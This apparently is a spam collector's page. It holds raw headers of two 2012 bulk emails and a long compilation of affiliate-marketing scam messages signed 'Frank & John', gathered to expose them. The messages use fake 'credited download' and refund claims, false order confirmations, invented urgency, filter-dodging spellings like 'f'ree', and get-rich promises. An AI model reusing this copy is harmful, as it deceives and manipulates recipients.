Delivered-To:
Received: from mx1. ([10.23.23.23])
by mss-us12. (Dovecot) with LMTP id UPsTFeJW+084cQAAWHoucg
for ; Mon, 09 Jul 2012 22:11:39 +0000
Received: from ds3-smtp1.imnicamail [DOT] com (ds3-smtp1.imnicamail [DOT] com [67.215.238.236])
by mx1. (Postfix) with ESMTP id 17FAB3F0039
for ; Mon, 9 Jul 2012 22:11:39 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=im1; d=imnicamail [DOT] com;
h=Date:To:From:Reply-to:Subject:Message-ID:Sender:List-Unsubscribe:List-Unsubscribe:MIME-Version:Content-Transfer-Encoding:Content-Type;
bh=mbE0cmmQ86Vwm1SaCBbnY3Vo6Hw=;
b=g6OpJMPJA3eLn6zwXB9xkdyO/0Vtx9bwI5xZNiPiuancod+GuGVfDLYkaTcTJTkZorREiHxzNhZA
ykVJUf7KMFbGV4d2u0VjpQZaJxqcMdV/U+8kUHCPITsZ9bU4lheiTgZJDbb4fBiXVqwB6bb2l0On
7jIkrrHm7zRYfSnITmo=
Received: by ds3-smtp1.imnicamail [DOT] com id hvdbhm1ak60m for ; Mon, 9 Jul 2012 22:11:33 +0000 (envelope-from )
Date: Mon, 9 Jul 2012 22:11:32 +0000
To: "robert"
From: Frank Salinas
Reply-to: Frank Salinas
Subject: Congrats (Please open)
Message-ID: <0d24827579476fdeb2ce5852eff23056@imnicamail [DOT] com>
X-Priority: 3
Sender:
X-Mailer: ImnicaMail
X-Complaints-To: complaints@imnicamail [DOT] com
List-Unsubscribe:
X-MessageID: MTM0OTUxfHx8fDI2MjI1fHx8fHJvYmVydEBjaHJpc3RvcGVyai5jb218fHx8MTY1OTB8fHx8NjE0Nnx8fHww
X-Report-Abuse:
List-Unsubscribe:
Precedence: bulk
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset="utf-8"

Congrats, today you get access to this system
for free [ LINK TO: http://www.imnicamail [DOT] com/v4/tl [DOT] php?p=2wwf/35sx/rs/l09/dkm/rs//http%3A%2F%2Finternetprofitsource [DOT] com%2Fatg%2Fgo [DOT] php%3Fc%3Ddavewertz1k ]

*If You Can Copy And Paste You Can Do This
*You Can Be Set-up and Ready To Make Money Today
*Newbie Friendly – No Technical Experience required
Confirm your access today [ LINK TO: http://www.imnicamail [DOT] com/v4/tl [DOT] php?p=2wwf/35sx/rs/l09/dkm/rs//http%3A%2F%2Finternetprofitsource [DOT] com%2Fatg%2Fgo [DOT] php%3Fc%3Ddavewertz1k ]

John & Frank

P.S. Here's a daily bonus gift [ LINK TO: http://www.imnicamail [DOT] com/v4/tl [DOT] php?p=2wwf/35sx/rs/l09/dkm/rs//http%3A%2F%2Finternetprofitsource [DOT] com%2Fatg%2Fgo [DOT] php%3Fc%3Ddavewertz1k ]


-------------------------------------

Material Connection Disclosure: You should
assume that the sender of this e-mail has an
affiliate relationship and/or another
material connection to the providers of
goods and services mentioned in this message
and may be compensated when you purchase
from a provider. You should always perform
due diligence before buying goods or
services from anyone via the Internet or
offline.

PO BOX 7636, Romeoville, IL 60446

Click here to unsubscribe [ LINK TO: http://www.imnicamail [DOT] com/v4/u [DOT] php?p=2wwf/rs/l09/dkm/35sx/rs ]

Delivered-To: christoperj
Received: by 10.231.67.211 with SMTP id s19csp129449ibi;
Mon, 9 Jul 2012 10:23:23 -0700 (PDT)
Received: by 10.236.141.42 with SMTP id f30mr47890442yhj.120.1341854602338;
Mon, 09 Jul 2012 10:23:22 -0700 (PDT)
DomainKey-Status: good
Received-SPF: softfail (: best guess record for domain of transitioning bounce-27478640-5111060-2544536-225668@imnicamail [DOT] com does not designate 10.23.23.23 as permitted sender) client-ip=10.23.23.23;
Received: by 10.157.138.2 with POP3 id q2mf11193256yen.39;
Mon, 09 Jul 2012 10:23:22 -0700 (PDT)

Return-Path:
Delivered-To:
Received: from mx1. ([10.23.23.23])
by mss-us12. (Dovecot) with LMTP id BKAfB/MS+08HWgAAWHoucg
for ; Mon, 09 Jul 2012 17:21:55 +0000
Received: from ds3-smtp2.imnicamail [DOT] com (ds3-smtp2.imnicamail [DOT] com [96.44.131.121])
by mx1. (Postfix) with ESMTP id 38420471554
for ; Mon, 9 Jul 2012 17:21:55 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=im1; d=imnicamail [DOT] com;
h=Date:To:From:Reply-to:Subject:Message-ID:Sender:List-Unsubscribe:List-Unsubscribe:MIME-Version:Content-Transfer-Encoding:Content-Type;
bh=C8ExsLhhu+xWgUMHbo9wHlL77sI=;
b=a4deST74ArtaqmbLxVSbvqkuz5K8MP4EbM4ESOv3PQRu0XSFLd4nQGILDOWnQJpIg2ra/eO5i9Qb
x5FVm7GN1UNNUBaXcN4MChb8ZEGQIX6k+9h0oKFa/2aCOS4qD9iSuoleLZcD31KDmVwpv0rxxJJ4
1a6YlmQqBXY2IFYP40Y=
Received: by ds3-smtp2.imnicamail [DOT] com id hvc9j61ak607 for ; Mon, 9 Jul 2012 17:21:54 +0000 (envelope-from )
Date: Mon, 9 Jul 2012 17:21:54 +0000
To: "robert"
From: John Cornetta
Reply-to: John Cornetta
Subject: Product Delivery for robert
Message-ID: <3ff81f31e65e9fad5a8b7dda2249d1a8@imnicamail [DOT] com>
X-Priority: 3
Sender:
X-Mailer: ImnicaMail
X-Complaints-To: complaints@imnicamail [DOT] com
List-Unsubscribe:
X-MessageID: MTM0Njk5fHx8fDI1MDU0fHx8fHJvYmVydEBjaHJpc3RvcGVyai5jb218fHx8MTI0NzN8fHx8MTEwNnx8fHww
X-Report-Abuse:
List-Unsubscribe:
Precedence: bulk
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset="utf-8"

Confirm Date: 07-09-2012
Account: robert

You may access your account's download page here [ LINK TO: http://www.imnicamail [DOT] com/v4/tl [DOT] php?p=2wpf/35nr/rs/k3q/ae9/rs//http%3A%2F%2Finternetprofitsource [DOT] com%2Fatg%2Fgo [DOT] php%3Fc%3Dextremevalue ]


Please access today,

as this link expires in 72 hours [ LINK TO: http://www.imnicamail [DOT] com/v4/tl [DOT] php?p=2wpf/35nr/rs/k3q/ae9/rs//http%3A%2F%2Finternetprofitsource [DOT] com%2Fatg%2Fgo [DOT] php%3Fc%3Dextremevalue ]

.

Enjoy & thanks!

John




P.S. Don't forget your DAILY BONUS [ LINK TO: http://www.imnicamail [DOT] com/v4/tl [DOT] php?p=2wpf/35nr/rs/k3q/ae9/rs//http%3A%2F%2Finternetprofitsource [DOT] com%2Fatg%2Fgo [DOT] php%3Fc%3Dextremevalue ]

===============================================

IMPORTANT: You have subscribed to be on this list.
Do not unsubscribe! We do our best to send ONLY quality content and offers
through our mailing list. If you wish to stop receiving emails from me, you
may do so instantly by clicking below. Please keep in mind that you will
lose access to the downloads and offers I send, forever.


MATERIAL CONNECTION DISCLOSURE: You should assume that the
sender of this e-mail has an affiliate relationship and/or
another material connection to the providers of goods and services
mentioned in this message and may be compensated when you
purchase from a provider. You should always perform due diligence
before buying goods or services from anyone via the Internet or
offline.

PO BOX 7636, Romeoville, IL, 60446, USA



Click here to unsubscribe [ LINK TO: http://www.imnicamail [DOT] com/v4/u [DOT] php?p=2wpf/rs/k3q/ae9/35nr/rs ]

Example Scam Text I've Received in the Last 30 Days in these Spams:
(Links shown were separately listed in each email body. All other "Click Here" links have been sanitized out of examples)

Hey ..

Just found out I had a refund of a lot of money and instead of taking it I had it
credited to your download!

==> Download Here

http://budurl [DOT] com/KeepClickingME

I know you'll love this as much as I did.

Enjoy

John

Step 1: Click the link below:
> http://internetprofitsource [DOT] com/atg/go.php?c=greatresource

Step 2: Sign up (f'ree)

Step 3: Enjoy!

> http://internetprofitsource [DOT] com/atg/go.php?c=greatresource

John


Other Recommended Resources:
> http://internetprofitsource [DOT] com/atg/go.php?c=keepclickingme

This will be the most important website you
will see this week

Free Video Reveals The #1 Secret Affiliate Program
Where People Are Making Over $1,200 Per Day

John

P.S. Here's a daily bonus gift

I got some cool stuff today, you can get it here.

Confirmed Access for: robert
Status: Ready
Value: $47
Cost: Free

Access it today

Talk soon,

Frank

P.S. Want us to help you build your list ?

This was just too good to not share :)

I know it's going to help with your business
as it did with mine!



Just go HERE to get it for yourself


(The site will be taken down soon, don't delay!)

Check it out here: VIP Access



Hope it helps,
John

This is for subscribers only, and might not be resent.

Confirmed Download for: robert
Status: Ready
Value: $67
Cost: Free

This will not be available long... download it today

Frank

P.S. Don't forget to also check out this 1k per day system

Your email robert

is confirmed, thanks for that as always..



This will not be available for much longer, so make
sure to access it immediately:


Subscriber Private Access Link



This is coming down at any moment, so act fast .


Talk soon,
Frank & John

-

DAILY BONUS

..I have a very special gift for you today,
which I KNOW you're going to LOVE. :-)

However...

This will only be up for a very LIMITED TIME,
so go there RIGHT NOW and grab this.

Gain access today here

Enjoy and Talk soon,
Frank

P.S. Here's a daily bonus gift

I think you'll find this IM resource
extremely helpful, especially if you

are trying to build an online business

Get it now






Go check it out!

John


And here's your Daily Bonus

This is for subscribers only, and might not be resent.

Confirmed Download for: robert
Status: Ready
Value: $67
Cost: Free

This will not be available long... download it today

John

P.S. Don't forget to also check out this 1k per day system

I got some cool stuff today, you can get it here.

Confirmed Access for: robert
Status: Ready
Value: $47
Cost: Free

Access it today

Talk soon,

Frank

P.S. Want us to help you build your list ?

This is a great IM resource I use all the time

and thought I would share it with you..

==> Simply Amazing!



I know you'll have fun with this .

John



P.S. Grab these cool BONUS resources here:

~> 1stBonus
~> 2ndBonus
~> 3rdBonus
~> 4thBonus

Thank you again for being one of our valued
subscribers.

No funny business here. Just great a marketing
resource today .. and it's free for a limited time .

You'll be surprised when you take a look that
it isn't being sold. Grab it here.

Frank

P.S. Want us to help you build your list ?

Go here

and access your download. There's no payment required.

But, it does expire very soon.

So make sure to check it out


Your Support Team


P.S. Check Out These Bonuses

I found something really incredible for you today..
and was simply amazed at how simple it was!


Just click below to check it out:
==> Click Here



Admin

Hey there



This f'ree 58 page report will give you
all the info you need to start pulling in
profits... in as little as 1 day!



=> Confirm your f'ree report



Frankie & Johnnie



P.S. Need traffic, a bigger list or more money?
Go here to see how we can help you

There's no need to pay for this today.

So you'll want to download it right away , while you can.

Enjoy it and Talk soon,

Frank Salinas

P.S. Also, make sure to check out this 1k a day system

I have this credited download all ready for you.

No need to do anything but click the download

link to obtain your credit, then verify your email.



==> Download Here



Enjoy
John


P.S. Need traffic, a bigger list or more money?
Go here to see how we can help you.

This is a great resource I found for you..

This will not be available for much longer, so make
sure to access it immediately:

==> Download Here




Enjoy

Admin


P.S. Grab these cool BONUS resources here:

~> http://budurl [DOT] com/1stBonus
~> http://budurl [DOT] com/2ndBonus
~> http://budurl [DOT] com/3rdBonus
~> http://budurl [DOT] com/4thBonus

****************************************************
You are a confirmed and valued subscriber of our newsletter.
You can permanently unsubscribe by using the link below:
Click here to unsubscribe
****************************************************



Go here now to grab a ton of great stuff for free..

This magic link gives you a new offer every time you click it..

Keep clicking until you find what interests you!



Enjoy

Support

Congratulations! Here's immediate access to

an incredible business resource:

This is limited from what they tell me so act fast.

~> and go here today

Frank Salinas

This is for subscribers only, and might not be resent.

Confirmed Download for: formidablemarketers@gmail [DOT] com
Status: Ready
Value: $47
Cost: Free

This will not be available long... download it today

Frank

P.S. Don't forget to also check out this 1k per day system

If your email is robert
Then you've been credited for this exclusive download


Your email address is all you need to access this fr'ee gift




Support

Learn how this guy with a funny
accent is getting over
364,000 visitors a day
with little known traffic methods

Get instant access here
Its great content!

Talk soon

Frank Salinas

This was $47..but for a limited time
you can get it from here for free :

Worth taking a look ..

Talk soon,

Frank & John

Here is one of those specials that I let my
best subscribers and friends in on every
once in a while...

Please take a minute from your busy schedule
to review this amazing resource

This will cost you NOTHING. There it is, up front.
No surprises... Now, go get all the juicy details!



==> Download Here



John


P.S. Need traffic, a bigger list or more money?
Go here to see how we can help you.

I got some cool stuff today, you can get it here.

Confirmed Access for: robert
Status: Ready
Value: $47
Cost: Free

Access it today

Talk soon,

Frank

P.S. Want us to help you build your list ?

Go here

and access your download. There's no payment required.

But, it does expire very soon.

So make sure to check it out


To your success,
Frank & John


P.S. Check Out These Bonuses



P.S. Need traffic, a bigger list or more money?
Go here to see how we can help you.

Hi there

Here's a brand new download we wanted to share

==> best product ever



You can make some money with this one!

This is normally a $27 product but for the next 24 hours the
password has been removed for you.

==> best product ever



Enjoy!




P.S. Need traffic, a bigger list or more money?
Go here to see how we can help you.

Congratulations! Here's immediate access to

an incredible business resource:

This is limited from what they tell me so act fast.

~> and go here today

Frank Salinas

We wanted to thank everyone for all their support

and great feedback we've been getting!



We have a VERY special gift for you today

Get it here



Expires soon so make sure to check it out


To your success
Frank & John


P.S. Check Out These Bonuses

Just wanted to say thanks again for being a subscriber.

Check out this great resource that can help
you in your marketing efforts..

Grab it before access goes away for another 2 weeks.

Take a look..

Talk soon,

Frank

P.S. Also, make sure to check out this 1k a day system

I got some cool stuff today, you can get it here.

Confirmed Access for: robert
Status: Ready
Value: $47
Cost: Free

Access it today

Talk soon,

Frank

P.S. Want us to help you build your list ?

Your download is approved and waiting for you.

It has been paid for by me.



You have not been charged at all.

This is something you don't want to miss.


You can download it here



The Service team



P.S. Grab these cool BONUS resources here:

~> http://budurl [DOT] com/1stBonus
~> http://budurl [DOT] com/2ndBonus
~> http://budurl [DOT] com/3rdBonus
~> http://budurl [DOT] com/4thBonus

We found an awesome site where you can get a cool

fr'ee download. Go check it out

==> Click Here



You can make some money with this one!

==> Click Here

Enjoy
Frank


P.S. Grab these cool BONUS resources here:

~> http://budurl [DOT] com/1stBonus
~> http://budurl [DOT] com/2ndBonus
~> http://budurl [DOT] com/3rdBonus
~> http://budurl [DOT] com/4thBonus

If your email is robert
Then you've been credited for this exclusive download

Your email address is all you need to access this fr'ee gift


==> Download Here





Support

Please save this email .

This page contains a very important message
and is available for a limited time.

Confirm your access now.

Frank

P.S. Here's a cool bonus too

Go here and access your download.



There's no payment required.

But, it does expire very soon.

So make sure to check it out


To your success

John


P.S. Another Highly Recommended IM System

Here's a question I get asked ALL the time!



Q. What is a good marketing or advertising resource

that you use on a day to day basis?



A. Here's a resource I use almost every day in my marketing

efforts:

== > Daily Tool



I hope it helps you as much as it did me!



John

This is for subscribers only, and might not be resent.

Confirmed Download for: robert
Access Date: 06/28/12-06/29/12
Status: Ready
Value: $67
Cost: Free

This will not be available long... download it today

Frank

P.S. Don't forget to also check out this 1k per day system

I found an awesome site where you can get a cool

fr'ee download. Go check it out

==> Click Here



You can make some money with this one!

==> Click Here

Enjoy
John


P.S. Grab these cool BONUS resources here:

~> 1stBonus
~> 2ndBonus
~> 3rdBonus
~> 4thBonus

Exclusive access granted for:

robert



I've got a great fr'ee download for you today

==> Click Here



It's a tested and proven system that can

help you profit online!



Don't delay!
John



P.S. Want to get 30 to 35% more subscribers with no extra effort?
Then click here to get your free 5iphon website now

If you are not yet making at least $500 per day online

Then you need to check out this f'ree presentation on

how you can do just that!



Sign up here to learn how!




To your success
Frank & John


P.S. Check Out These Bonuses

I don't want you to miss this one its just too good!



It has helped boost my profits tremendously

Extremely Valuable Gift



* Please download asap as it will expire


All my best, John

This is for subscribers only, and might not be resent.

Confirmed Download for: robert
Status: Ready
Value: $47
Cost: Free

This will not be available long... download it today

Frank

P.S. Don't forget to also check out this 1k per day system

Go here and download your special bonus gift.



There's no payment required. But, it does expire tomorrow.

So make sure to check it out


John



P.S. Check Out These Bonuses

Just found out I had a refund of a lot

of money and instead of taking it,

I had it credited to your download!

Redeem your credit





I know you'll love this as much as I did.

John




P.S. Get great quality solo ads:
http://soloads4sale [DOT] com

You're about to discover how you can explode
your affiliate income with these secret (ASB) silver bullets..

And have it working for you 100% automated..

Check it out here

Frank Salinas

P.S. Also, make sure to check out this 1k a day system

I have this credited download all ready for you.

No need to do anything but click the download

link to obtain your credit, then verify your email.

==> Download Here



Enjoy
John


P.S. Need traffic, a bigger list or more money?
Go here to see how we can help you

Grab this great video and find out how
these guys got 117,357 leads yesterday..

Get it right here

This is a quick, foolproof method ..

Talk soon,

John & Frank

I don't want you to miss this one its just too good



* You won't find this anywhere else on the Web.


Please download this asap as it will expire

coolgiftaccess



Thanks!
John

P.S. Need traffic, a bigger list or more money?
Go here to see how we can help you.



Grab these cool BONUS resources here:

~> 1stBonus
~> 2ndBonus
~> 3rdBonus
~> 4thBonus

I have this credited download all ready for you.

No need to do anything but click the download

link to obtain your credit.

==> Download Here



Your Support Manager

Account: robert

You have been approved to receive this

once-in-a-lifetime opportunity..



Access your download here:


==> Click Here




Useful Marketing Resource!

==> Click Here



Enjoy

Mike, Gifts Manager

This is for subscribers only, and might not be resent.

Confirmed Download for: robert
Status: Ready
Value: $47
Cost: Free

This will not be available long... download it today

Frank

P.S. Don't forget to also check out this 1k per day system

I think you're going to have fun with this little goodie...

==> COOL GIFT



This will help IMMENSELY with your marketing efforts

Access it here:

==> COOL GIFT



Enjoy
Frank



P.S. Grab these cool BONUS resources here:

~> http://budurl [DOT] com/1stBonus
~> http://budurl [DOT] com/2ndBonus
~> http://budurl [DOT] com/3rdBonus
~> http://budurl [DOT] com/4thBonus

Congratulations! Here's immediate access to

an incredible business resource:

This is limited from what they tell me so act fast.

~> and go here today

Frank Salinas

I got some cool stuff today, you can get it here.

Confirmed Access for: robert
Status: Ready
Value: $47
Cost: Free

Access it today

Talk soon,

Frank

P.S. Want us to help you build your list ?

This is for subscribers only, and might not be resent.

Confirmed Download for: robert
Access Date: 06/21/12-06/22/12
Status: Ready
Value: $47
Cost: Free

This will not be available long... download it today

Frank

P.S. Don't forget to also check out this 1k per day system

Here is one of those specials that I let my
best subscribers and friends in on every
once in a while:

Get it here


Please take a minute from your busy schedule
to review this amazing resource



To your success
John

Just wanted to say thanks again for being a subscriber.

Check out this great resource that can help
you in your marketing efforts..

Grab it before access goes away for another 2 weeks.

Take a look..

Talk soon,

Frank

P.S. Also, make sure to check out this 1k a day system

My friends Willie Crawford, Jayson Benoit, Vincent Inter just released the most Original and Exciting Event Ever:



>>> Maximum Leverage Giveaway



Go to their Sign up page and see what's in store
for you..



>>> Maximum Leverage Giveaway





Go now!
>>> Maximum Leverage Giveaway



To your success

John



P.S. Need traffic, a bigger list or more money?

Check Out Our Marketing Services

Thank you again for being one of our valued
subscribers.

No funny business here. Just great a marketing
resource today .. and it's free for a limited time .

You'll be surprised when you take a look that
it isn't being sold. Grab it here.

Frank

P.S. Want us to help you build your list ?

Thanks again for subscribing, robert



Please click the link below to verify your access to your

bonus downloads:

* Please do not share this page



This will help you!

John


P.S. Need traffic, a bigger list or more money?
Go here to see how we can help you.

There's no need to pay for this today.

So you'll want to download it right away , while you can.

Enjoy it and Talk soon,

Frank Salinas

P.S. Also, make sure to check out this 1k a day system

This is a great IM resource I use all the time

and thought I would share it with you..

==> Simply Amazing!



I know you'll love this as much as I did.

John



P.S. Grab these cool BONUS resources here:

~> 1stBonus
~> 2ndBonus
~> 3rdBonus
~> 4thBonus

As you requested great information about internet marketing..

I've got an excellent one for you today..

This transaction is CONFIRMED 100% fr'ee


Just go here to check it out and access it you like it



Talk soon,

Frank


PS. Grab your BONUS gifts too!

=> http://budurl [DOT] com/1stBonus
=> http://budurl [DOT] com/2ndBonus
=> http://budurl [DOT] com/3rdBonus
=> http://budurl [DOT] com/4thBonus

Please save this email .

This page contains a very important message
and is available for a limited time.

Confirm your access now.

Frank

P.S. Here's a cool bonus too

Go here and access your bonus page.



There's no payment required. But,

it does expire in 48 hours.

Download today!




To your success

John


P.S. Need traffic, a bigger list or more money?
Go here to see how we can help you .

If your email is robert
Then you've been credited for this exclusive download


Your email address is all you need to access this fr'ee gift


==> Download Here



Support

I got some cool stuff today, you can get it here.

Just wanted to say you rock and
thanks for being a subscriber.

Access this recommend system here.


Talk soon,

Frank

P.S. Grab today's bonus gift here

Just found out I had a refund of a lot of money and

instead of taking it, I had it credited to your download!

Redeem your credit



Thanks for all your feedback :)

John Cornetta



P.S. Need traffic, a bigger list or more money?
Go here to see how we can help you .

That's what this well known marketer

asked me on the phone..



I hadn't checked my phone yet, and he

had already sent me a preview of his

new system .. Once I checked it out,

I knew I had to show it to you.



Don't miss this - its just too good






Thanks!
John



P.S. Need traffic, a bigger list

or more money? Go here to see how

we can help you.



P.P.S. If you like bonuses, go here

to grab a really cool one:

Bonus of the day

Getting any results yet?

If not, maybe this will give you some better insight

on how to start profiting online:

Click Here For Something Great!



Don't forget to grab all your bonuses below!

John



BONUS LINKS
~> 1stBonus
~> 2ndBonus
~> 3rdBonus
~> 4thBonus

You're about to discover how you can explode
your affiliate income with these secret (ASB) silver bullets..

And have it working for you 100% automated..

Check it out here

Frank Salinas

P.S. Also, make sure to check out this 1k a day system

Go here

and access your download. There's no payment required.

But, it does expire very soon.

So make sure to check it out


Your Support Team



P.S. Check Out These Bonuses

This is for subscribers only, and might not be resent.

Confirmed Download for: formidablemarketers@gmail [DOT] com
Status: Ready
Value: $47
Cost: Free

This will not be available long... download it today

Frank

P.S. Don't forget to also check out this 1k per day system

Here's a question I get asked ALL the time!



Q. What is a good marketing or advertising resource

that you use on a day to day basis?



A. Here's a resource I use every day in my marketing

efforts:

== > Daily Tool





I hope it helps you as much as it did me!





All my best, John

--

P.S. Need traffic, a bigger list or more money?
Go here to see how we can help you

-> Click Here



This is a "good stuff" product delivery confirmation ..
All you have to do is gain access:

-> Click Here



Talk soon,

John



P.S. Need traffic, a bigger list or more money?
Go here to see how we can help you.



PPS: Grab your BONUS gifts too!

=> http://budurl [DOT] com/1stBonus
=> http://budurl [DOT] com/2ndBonus
=> http://budurl [DOT] com/3rdBonus
=> http://budurl [DOT] com/4thBonus

You're about to discover how you can explode
your affiliate income with this secret ASB system..

And have it working for you 100% automated..

Check it out here

Frank Salinas

P.S. Also, make sure to check out this 1k a day system

Here's an amazing system you should check out

if you are still needing help making money online.



And it's absolutely f'ree for my subscribers!

I would get it before it's removed for good.



I know you'll enjoy it!
John



P.S. Need traffic, a bigger list or more money?
Go here to see how we can help you

This is for subscribers only, and might not be resent.

Confirmed Download for: formidablemarketers@gmail [DOT] com
Access Date: 06/15/12-06/16/12
Status: Ready
Value: $67
Cost: Free

This will not be available long... download it today

Frank

P.S. Don't forget to also check out this 1k per day system

Your email is confirmed, thanks for that as always.



This will not be available for much longer, so make
sure to access it immediately:
=> Confirmed Access



This is coming down at any moment , so act fast.





Talk soon,
John





P.S. Need traffic, a bigger list or more money?
Go here to see how we can help you.

I got some cool stuff today, you can get it here.

Confirmed Access for: formidablemarketers@gmail [DOT] com
Status: Ready
Value: $47
Cost: Free

Access it today

Talk soon,

Frank

P.S. Want us to help you build your list ?

Step 1: Click the link below:

> Valuable Gift



Step 2: Sign up (f'ree)



Step 3: Enjoy!



> Valuable Gift



Have fun with it!

John



P.S. Need traffic, a bigger list or more money?
Go here to see how we can help you.

Congratulations! Here's immediate access to

an incredible business resource:

This is limited from what they tell me so act fast.

~> and go here today

Frank Salinas

We've got a great download for you .. we got it

approved to be downloaded by our subscribers and

you can Get it here .





Frank & John



P.S. Grab these cool BONUS resources here

Don't miss out on this download!



Get Instant Access here now .


I highly recommend you grab this download before it's
gone! (Seriously)


John



P.S. Here's Another Highly Recommended F'ree Download

I have this credited download all ready for you.

No need to do anything but click the download

link to obtain your credit.

==> Download Here



Your Support Team



P.S. Get $200 In Fr-ee Advertising HERE

There's no need to pay for this today.

So you'll want to download it right away , while you can.

Enjoy it and Talk soon,

Frank Salinas

P.S. Also, make sure to check out this 1k a day system

Here's a question I get asked ALL the time!



Q. What is a good marketing or advertising resource

that you use on a day to day basis?



A. Here's a resource I use almost every day in my marketing

efforts:

== > Daily Tool



I hope it helps you as much as it did me!



Frank

This is for subscribers only, and might not be resent.

Confirmed Download for: formidablemarketers@gmail [DOT] com
Access Date: 06/12/12-06/13/12
Status: Ready
Value: $47
Cost: Free

This will not be available long... download it today

Frank

P.S. Don't forget to also check out this 1k per day system

Account: robert

Attention, You have been awarded one (1) download

credit. Just follow directions on this webpage to claim:

==> Claim your download here


* I know you are going to get some use out of this


DAILY BONUS

Thank you again for being one of our valued
subscribers..you rock!

We spend a large part of our day researching
all the new products that get released and
feel this one is well worth sharing with
you again.

You can take a look by visiting here

Thank you again and we trust you will find
what we have shared with you today as
useful as we have.

Frank

P.S. Here's a cool daily bonus

I found a great gift for you today

Just follow these simple instructions to claim..



Step 1: Click the link below:

> Free IM Tool



Step 2: Sign up



Step 3: Confirm

> Free IM Tool



Enjoy,

John



And don't forget you daily bonus

DAILY BONUS LINK

A friend of mine just told me about this and I always like
to share whenever I find something really good!


I strongly urge you to at least check it out!


=> GO NOW


you'll be happy you did :)




To your success,
John




Don't forget your daily bonus gift!

Congrats, today you get access to this system
for free

*If You Can Copy And Paste You Can Do This
*You Can Be Set-up and Ready To Make Money Today
*Newbie Friendly – No Technical Experience required
Confirm your access today

John & Frank

P.S. Here's a daily bonus gift

Confirm Date: 07-09-2012
Account: robert

You may access your account's download page here


Please access today,

as this link expires in 72 hours

.

Enjoy & thanks!

John




P.S. Don't forget your DAILY BONUS

I have this cool download all ready for you.



All that is required from you is confirmation that you want it!

==> Confirm Here



I know you'll love this as much as I did.



Enjoy

John



Daily Bonus

I found a great gift for you today

Just follow these simple instructions to claim..



Step 1: Click the link below:

> Free IM Tool



Step 2: Sign up



Step 3: Confirm

> Free IM Tool



Enjoy,

John



And don't forget your DAILY BONUS LINK

We spend a large part of our day researching
all the new products that get released and
feel this one is well worth sharing with
you again ($97).

You can take a look by visiting here

Thank you again and we trust you will find
what we have shared with you today as
useful as we have.

Frank

P.S. Here's a cool daily bonus

Recipient: robert
Order Status: Complete
Amount: $47.00
Discount Applied: 100%



Yes this has already been paid for by me for you



Download link:
ThisIsJust4You





Enjoy!

John



PS. This expires on 07/10/2012



-.

Daily Bonus

Recipient: robert
Order Status: Complete
Discount Applied: 100%


Yes I have arranged for you to get this
excellent IM resource for no cost today!


Subscriber Private Access Link




Enjoy and thanks for being a subscriber ;)

John

P.S. Need traffic, a bigger list or more money?
Go here to see how we can help you.
http://johnandfrank [DOT] com/services

-
DAILY BONUS

Your email robert is confirmed
thanks for that as always..



This will not be available for much longer, so make
sure to access it immediately:



Subscriber Private Access Link



Unconfirmed accounts are removed after 24 hours

so act fast!


Talk soon,
John

-

DAILY BONUS

Thank you again for being one of our valued
subscribers.

We spend a large part of our day researching
all the new products that get released and
feel this one is well worth sharing with
you again.

You can take a look by visiting here

Thank you again and we trust you will find
what we have shared with you today as
useful as we have.

Frank

P.S. Here's a cool daily bonus

This is f'ree , so I'm not going to waste a second

of your time with any specially designed sales pitch

that is supposed to convince you that you need what

I've got.


Just take a peek at the website. You'll find all the

info you need...

Please access today, as this link expires



Enjoy & thanks!

John



DAILY BONUS

Discover 3 weird marketing tricks
that helped thousands of "average"
people make their first sale online
with a brand new "no selling"
approach:

~> Check it out here

Make it happen today..

John & Frank

P.S. Here's a daily bonus gift

Thank you again for being one of our valued
subscribers.

We spend a large part of our day researching
all the new products that get released and
feel this one is well worth sharing with
you again.

You can take a look by visiting here

Thank you again and we trust you will find
what we have shared with you today as
useful as we have.

Frank

P.S. Here's a cool daily bonus

Independence Day here in the USA and I

have a really cool download all ready for you.



All that is required from you is confirmation that you want it!

==> Confirm Here



I know you'll love this as much as I did.



Enjoy

John



Daily Bonus

This is your private access invitation...

>> Access here now


...This exclusive download link stays
open just for a very limited time...


Get Instant Access here now .


Enjoy!

John



DAILY BONUS

Account: robert



We have credited your account with a f'ree download
You may access your download credit here


Please access today, as this link expires



Enjoy & thanks!

JJC



DAILY BONUS

.. Because you get it absolutely f'ree

from this link



We think you'll find this IM resource

extremely helpful, especially if you

are a newbie!

Get it now






Go check it out!

John


And here's your Daily Bonus

Confirm Date: July 1, 2012
Account: robert



We have credited your account with a f'ree download
You may access your download credit here


Please access today, as this link expires

.

Enjoy!

Support

-

DAILY BONUS